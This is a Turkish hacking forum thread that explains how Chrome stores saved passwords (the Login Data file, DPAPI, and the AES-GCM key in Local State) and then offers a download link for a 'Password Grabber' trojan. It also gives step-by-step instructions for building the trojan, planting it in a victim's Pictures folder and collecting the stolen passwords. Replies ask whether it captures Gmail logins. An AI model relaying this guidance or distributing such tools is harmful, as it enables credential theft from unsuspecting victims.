Eski ve güncellenmemiş RAT'larda bu sorun görülür. Mesela Chrome parolalar için yöntem değiştiriyor. Chrome 80 sürümünden itibaren değişti mesela..
Chrome 80 sürümünden önce şöyleydi.
Parolaları SQL olarak saklıyordu ve şifreleme olarak DPAPI kullanıyordu.
C:\Users\kullaniciadi\AppData\Local\Google\Chrome\User Data\Default yerindeki `Login Data` dosyası lazım bize.
Burada bize lazım olan; logins tablosundaki origin_url, username_value ve password_value değerleridir.
NOT: Bu o bulunan PC'de kırılmalıdır, dosyayı çalarak yapmayın. DPAPI'nin mantığı budur.
Yeni Chrome'da C:\Users\kullaniciadi\AppData\Local\Google\Chrome\User Data yerindeki Local State JSON dosyasında saklanır. Bu sefer oradaki key DPAPI ile şifrelenir ve password_value versinin AES GCM key'ini içerir. İnternette %100 vardır, inceleyin. NanoCore gibi RAT'lara bakın.
şimdi sana vereceğim program ile kurbanların passwordlarını bırak çerez şifrelerini bile alırsın.
indir : https://s4.dosya.tc/server11/qd6m0y/Password_Grabber_v1.2.rar.html
peki nasıl kullanacaksın onuda anlatayım : [url=https://hizliresim.com/blKaPo][/URL]
masaüstüne build deyip virüsü oluşturduktan sonra kurbanın mypictures dosyasının içine atıcaksın trojanı daha sonra sürekli çalıştıra basacaksın pictures dosyasına password.txt dosyası gelir daha sonra onu downloand yaptıktan sonra pc nde açıp şifrelerine bakabilirsin
işine yararsa teşekür vermeyi unutma dostumşahsen bende önceden njrat kullanıyordum password çekmiyordu bu yöntemle alıyordum passları.
Ustam Teşekkür ederim program için fakat gerçekten iyi alıyor değilmi gmail felan takır tukur alırmı
Hocam Şifre vermiyor sadece eposta gösteriyor
Ustam Teşekkür ederim program için fakat gerçekten iyi alıyor değilmi gmail felan takır tukur alırmı
Hocam Şifre vermiyor sadece eposta gösteriyor
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.
